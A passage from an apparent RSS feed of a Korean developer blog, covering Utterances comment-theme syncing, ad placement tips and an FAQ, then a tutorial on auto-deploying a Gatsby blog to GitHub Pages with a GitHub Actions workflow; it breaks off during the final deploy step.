&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;jsx&quot;&gt;&lt;pre class=&quot;language-jsx&quot;&gt;&lt;code class=&quot;language-jsx&quot;&gt;&lt;span class=&quot;token function&quot;&gt;useEffect&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; iframe &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; document&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;querySelector&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;.utterances-frame&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;iframe&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    iframe&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;contentWindow&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;postMessage&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;set-theme&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; theme &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
      &lt;span class=&quot;token string&quot;&gt;&quot;https://utteranc.es&quot;&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;theme&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 코드를 기존 컴포넌트의 &lt;code class=&quot;language-text&quot;&gt;useEffect&lt;/code&gt;와 별도로 추가하면, 다크모드 전환 시 댓글 위젯이 부드럽게 테마를 변경합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;광고 배치 팁 — 사용자 경험과 수익의 균형&lt;/h2&gt;
&lt;p&gt;솔직히 말하면, 광고는 많이 넣을수록 수익이 올라갈 것 같지만 현실은 반대인 경우가 많습니다.&lt;/p&gt;
&lt;h3&gt;광고 배치 원칙&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;본문 내용을 방해하지 않기&lt;/strong&gt; — 독자가 글을 읽다가 광고에 가로막히면 이탈합니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;한 페이지에 3개 이하&lt;/strong&gt; — AdSense 정책상 제한은 없지만, 3개를 넘기면 사용자 경험이 급격히 나빠집니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;모바일 대응 필수&lt;/strong&gt; — 모바일에서 화면을 가득 채우는 광고는 최악입니다&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;관련성 있는 광고&lt;/strong&gt; — 쿠팡 파트너스 링크는 포스팅 주제와 관련된 상품으로 설정합니다&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;추천 배치 패턴&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;[포스팅 제목]
[본문 시작]
...
(본문의 40~50% 지점)
--- 쿠팡 파트너스 배너 ---
...
[본문 끝]
--- AdSense 광고 ---
--- 댓글 시스템 ---&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 패턴이면 독자가 글을 읽는 흐름을 크게 방해하지 않으면서도 광고 노출을 확보할 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;시리즈 마무리 — GitHub 블로그 A to Z 정리&lt;/h2&gt;
&lt;p&gt;&quot;GitHub 블로그 A to Z&quot; 시리즈 6편을 통해 블로그의 생성부터 수익화까지 전 과정을 다뤘습니다. 지금까지의 여정을 정리해보겠습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;편&lt;/th&gt;
&lt;th&gt;주제&lt;/th&gt;
&lt;th&gt;핵심 내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1편&lt;/td&gt;
&lt;td&gt;시작하기&lt;/td&gt;
&lt;td&gt;Gatsby + gatsby-starter-hoodie로 블로그 생성&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2편&lt;/td&gt;
&lt;td&gt;스킨 커스터마이징&lt;/td&gt;
&lt;td&gt;테마 색상, 폰트, 레이아웃 변경&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3편&lt;/td&gt;
&lt;td&gt;마크다운과 카테고리&lt;/td&gt;
&lt;td&gt;포스팅 작성법, 시리즈/태그 관리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4편&lt;/td&gt;
&lt;td&gt;SEO 최적화&lt;/td&gt;
&lt;td&gt;메타태그, sitemap, 구조화 데이터, Search Console&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5편&lt;/td&gt;
&lt;td&gt;자동 배포&lt;/td&gt;
&lt;td&gt;GitHub Actions CI/CD 파이프라인&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6편&lt;/td&gt;
&lt;td&gt;광고와 댓글&lt;/td&gt;
&lt;td&gt;AdSense, 쿠팡 파트너스, Utterances&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;블로그 운영을 시작하시는 분들께&lt;/h3&gt;
&lt;p&gt;블로그는 기술적 완성도보다 &lt;strong&gt;꾸준한 글쓰기&lt;/strong&gt;가 훨씬 중요합니다. 완벽한 디자인과 모든 기능이 갖춰져야 시작할 수 있는 게 아닙니다. 글 하나라도 먼저 쓰고, 나머지는 천천히 개선해 나가시면 됩니다.&lt;/p&gt;
&lt;p&gt;직접 조사하고 경험한 내용을 바탕으로 이 시리즈를 작성했는데, 여러분의 블로그 시작에 조금이라도 도움이 되었으면 좋겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;h3&gt;Q. AdSense 승인이 거절되면 어떻게 하나요?&lt;/h3&gt;
&lt;p&gt;거절 사유를 메일로 받게 됩니다. 가장 흔한 거절 사유는 &quot;콘텐츠 불충분&quot;입니다. 양질의 포스팅을 5~10개 더 작성한 뒤 재신청하면 됩니다. 재신청 횟수에는 제한이 없으니, 콘텐츠를 보강하면서 꾸준히 신청해보세요. 커스텀 도메인을 사용하는 것도 승인률을 높이는 데 도움이 됩니다.&lt;/p&gt;
&lt;h3&gt;Q. Utterances 대신 Giscus를 사용하는 것이 더 좋나요?&lt;/h3&gt;
&lt;p&gt;둘 다 좋은 선택입니다. Giscus는 GitHub Discussions 기반이라 댓글에 대한 답글(스레드)과 리액션을 지원하는 장점이 있습니다. 설정 방법도 Utterances와 거의 동일합니다. 만약 댓글 간 대화가 활발할 것 같다면 Giscus를, 단순 댓글이면 Utterances를 추천합니다.&lt;/p&gt;
&lt;h3&gt;Q. 쿠팡 파트너스 수익은 어느 정도 나오나요?&lt;/h3&gt;
&lt;p&gt;솔직히 일일 방문자가 100명 이하일 때는 월 수익이 커피 한 잔 값도 안 됩니다. 블로그 트래픽이 핵심이기 때문에, SEO 최적화(4편 참고)와 꾸준한 포스팅으로 방문자를 먼저 늘리는 데 집중하시는 게 좋습니다. 트래픽이 올라오면 자연스럽게 수익도 따라옵니다.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;여러분은 블로그 수익화를 어떻게 하고 계신가요? 또는 어떤 댓글 시스템을 사용하고 계신가요? 댓글로 알려주세요.&lt;/p&gt;
&lt;p&gt;&quot;GitHub 블로그 A to Z&quot; 시리즈를 끝까지 읽어주셔서 감사합니다. 앞으로도 블로그 운영에 도움이 되는 글을 꾸준히 올리겠습니다.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[GitHub Actions로 블로그 자동 배포하기 — push만 하면 끝]]></title><description><![CDATA[안녕하세요, 자바파커입니다. "글 수정할 때마다 npm run build 하고 gh-pages 브랜치에 push…]]></description><link>https://blog.javapark.kr/05-github-actions-deploy/</link><guid isPermaLink="false">https://blog.javapark.kr/05-github-actions-deploy/</guid><pubDate>Sat, 04 Apr 2026 18:00:00 GMT</pubDate><content:encoded>&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;글 수정할 때마다 npm run build 하고 gh-pages 브랜치에 push하고... 이걸 매번 해야 하나요?&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;솔직히 말하면, 수동 배포를 계속하다 보면 글 쓰는 것보다 배포가 더 귀찮아지는 순간이 옵니다. 결론부터 말씀드리면 — GitHub Actions를 설정하면 &lt;code class=&quot;language-text&quot;&gt;git push&lt;/code&gt; 한 번으로 빌드부터 배포까지 전부 자동화할 수 있습니다.&lt;/p&gt;
&lt;p&gt;이번 포스팅에서는 Gatsby 블로그를 GitHub Actions로 자동 배포하는 CI/CD 파이프라인을 처음부터 끝까지 구축해보겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;수동 배포의 문제점&lt;/h2&gt;
&lt;p&gt;수동으로 GitHub Pages에 배포하려면 보통 이런 과정을 거칩니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 1. 빌드&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;npm&lt;/span&gt; run build

&lt;span class=&quot;token comment&quot;&gt;# 2. gh-pages 브랜치에 배포&lt;/span&gt;
npx gh-pages &lt;span class=&quot;token parameter variable&quot;&gt;-d&lt;/span&gt; public

&lt;span class=&quot;token comment&quot;&gt;# 3. 또는 직접 public 폴더를 gh-pages 브랜치에 push&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 방식의 문제점은 명확합니다.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;글을 수정할 때마다 수동으로 빌드해야 합니다&lt;/li&gt;
&lt;li&gt;빌드 명령어를 잊거나 실수하면 배포가 안 됩니다&lt;/li&gt;
&lt;li&gt;로컬 환경에 따라 빌드 결과가 달라질 수 있습니다&lt;/li&gt;
&lt;li&gt;시간이 오래 걸립니다 (특히 Gatsby 빌드는 느린 편)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;자동화의 핵심은 단순합니다. &lt;strong&gt;코드를 push하면 나머지는 서버가 알아서 하도록&lt;/strong&gt; 만드는 것입니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;GitHub Actions 기본 개념&lt;/h2&gt;
&lt;p&gt;GitHub Actions는 GitHub에서 제공하는 CI/CD(지속적 통합/지속적 배포) 서비스입니다. 레포지토리에 특정 이벤트(push, PR 등)가 발생하면 정의된 작업을 자동으로 실행합니다.&lt;/p&gt;
&lt;h3&gt;핵심 용어 정리&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;용어&lt;/th&gt;
&lt;th&gt;설명&lt;/th&gt;
&lt;th&gt;비유&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Workflow&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;자동화 작업의 전체 흐름&lt;/td&gt;
&lt;td&gt;레시피 전체&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Event&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;워크플로우를 실행하는 트리거&lt;/td&gt;
&lt;td&gt;&quot;주문이 들어오면&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Job&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;워크플로우 안의 작업 단위&lt;/td&gt;
&lt;td&gt;레시피의 각 단계 (재료 준비, 조리, 플레이팅)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Step&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Job 안의 개별 명령어&lt;/td&gt;
&lt;td&gt;&quot;양파를 잘게 썬다&quot;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Runner&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;워크플로우가 실행되는 서버&lt;/td&gt;
&lt;td&gt;주방&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;재사용 가능한 Step 묶음&lt;/td&gt;
&lt;td&gt;밀키트 (미리 만들어진 것)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;워크플로우 파일은 &lt;code class=&quot;language-text&quot;&gt;.github/workflows/&lt;/code&gt; 디렉토리에 YAML 형식으로 작성합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;블로그 배포용 workflow 파일 작성&lt;/h2&gt;
&lt;p&gt;프로젝트 루트에 &lt;code class=&quot;language-text&quot;&gt;.github/workflows/deploy.yml&lt;/code&gt; 파일을 만들겠습니다.&lt;/p&gt;
&lt;h3&gt;전체 workflow 파일&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# .github/workflows/deploy.yml&lt;/span&gt;
&lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Deploy Blog to GitHub Pages

&lt;span class=&quot;token key atrule&quot;&gt;on&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;push&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;branches&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; main &lt;span class=&quot;token comment&quot;&gt;# main 브랜치에 push하면 실행&lt;/span&gt;

&lt;span class=&quot;token key atrule&quot;&gt;permissions&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;contents&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; write

&lt;span class=&quot;token key atrule&quot;&gt;jobs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
  &lt;span class=&quot;token key atrule&quot;&gt;build-and-deploy&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;runs-on&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; ubuntu&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;latest

    &lt;span class=&quot;token key atrule&quot;&gt;steps&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
      &lt;span class=&quot;token comment&quot;&gt;# 1. 레포지토리 코드 체크아웃&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Checkout repository
        &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; actions/checkout@v4

      &lt;span class=&quot;token comment&quot;&gt;# 2. Node.js 설정&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Setup Node.js
        &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; actions/setup&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;node@v4
        &lt;span class=&quot;token key atrule&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;node-version&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;20&quot;&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;cache&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;npm&quot;&lt;/span&gt;

      &lt;span class=&quot;token comment&quot;&gt;# 3. 의존성 설치&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Install dependencies
        &lt;span class=&quot;token key atrule&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; npm ci

      &lt;span class=&quot;token comment&quot;&gt;# 4. Gatsby 빌드&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Build Gatsby site
        &lt;span class=&quot;token key atrule&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; npm run build
        &lt;span class=&quot;token key atrule&quot;&gt;env&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;PREFIX_PATHS&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean important&quot;&gt;true&lt;/span&gt;

      &lt;span class=&quot;token comment&quot;&gt;# 5. GitHub Pages 배포&lt;/span&gt;
      &lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Deploy to GitHub Pages
        &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; peaceiris/actions&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;gh&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;pages@v4
        &lt;span class=&quot;token key atrule&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;github_token&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; $&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; secrets.GITHUB_TOKEN &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
          &lt;span class=&quot;token key atrule&quot;&gt;publish_dir&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; ./public
          &lt;span class=&quot;token key atrule&quot;&gt;publish_branch&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; gh&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;pages&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 파일 하나면 &lt;code class=&quot;language-text&quot;&gt;main&lt;/code&gt; 브랜치에 push할 때마다 자동으로 빌드 후 &lt;code class=&quot;language-text&quot;&gt;gh-pages&lt;/code&gt; 브랜치에 배포됩니다.&lt;/p&gt;
&lt;h3&gt;파일 생성 방법&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# 디렉토리 생성&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;mkdir&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-p&lt;/span&gt; .github/workflows

&lt;span class=&quot;token comment&quot;&gt;# 파일 생성 (위 내용을 붙여넣기)&lt;/span&gt;
&lt;span class=&quot;token function&quot;&gt;nano&lt;/span&gt; .github/workflows/deploy.yml&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;hr&gt;
&lt;h2&gt;각 Step 상세 설명&lt;/h2&gt;
&lt;h3&gt;Step 1: actions/checkout&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Checkout repository
  &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; actions/checkout@v4&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;GitHub Actions Runner(서버)에 레포지토리 코드를 가져옵니다. 모든 워크플로우의 첫 번째 단계입니다.&lt;/p&gt;
&lt;h3&gt;Step 2: actions/setup-node&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Setup Node.js
  &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; actions/setup&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;node@v4
  &lt;span class=&quot;token key atrule&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;node-version&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;20&quot;&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;cache&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;npm&quot;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Node.js를 설치합니다. &lt;code class=&quot;language-text&quot;&gt;node-version&lt;/code&gt;은 로컬에서 사용하는 버전과 맞추는 것이 좋습니다.&lt;/p&gt;
&lt;p&gt;로컬 Node.js 버전 확인 방법:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;node&lt;/span&gt; &lt;span class=&quot;token parameter variable&quot;&gt;-v&lt;/span&gt;
&lt;span class=&quot;token comment&quot;&gt;# v20.11.0 이런 식으로 출력됩니다&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Step 3: npm ci&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Install dependencies
  &lt;span class=&quot;token key atrule&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; npm ci&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;npm install&lt;/code&gt; 대신 &lt;code class=&quot;language-text&quot;&gt;npm ci&lt;/code&gt;를 사용합니다. &lt;code class=&quot;language-text&quot;&gt;npm ci&lt;/code&gt;는 &lt;code class=&quot;language-text&quot;&gt;package-lock.json&lt;/code&gt;을 기반으로 정확히 동일한 의존성을 설치하므로, 빌드 환경의 일관성을 보장합니다.&lt;/p&gt;
&lt;h3&gt;Step 4: Gatsby 빌드&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Build Gatsby site
  &lt;span class=&quot;token key atrule&quot;&gt;run&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; npm run build
  &lt;span class=&quot;token key atrule&quot;&gt;env&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;PREFIX_PATHS&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token boolean important&quot;&gt;true&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;gatsby build&lt;/code&gt; 명령어를 실행해 정적 파일을 생성합니다. 결과물은 &lt;code class=&quot;language-text&quot;&gt;public/&lt;/code&gt; 폴더에 저장됩니다.&lt;/p&gt;
&lt;h3&gt;Step 5: peaceiris/actions-gh-pages&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;yaml&quot;&gt;&lt;pre class=&quot;language-yaml&quot;&gt;&lt;code class=&quot;language-yaml&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt; &lt;span class=&quot;token key atrule&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; Deploy to GitHub Pages
  &lt;span class=&quot;token key atrule&quot;&gt;uses&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; peaceiris/actions&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;gh&lt;span class=&quot;token punctuation&quot;&gt;-&lt;/span&gt;pages@v4
  &lt;span class=&quot;token key atrule&quot;&gt;with&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;github_token&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; $&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; secrets.GITHUB_TOKEN &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;token key atrule&quot;&gt;publish_dir&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; ./public
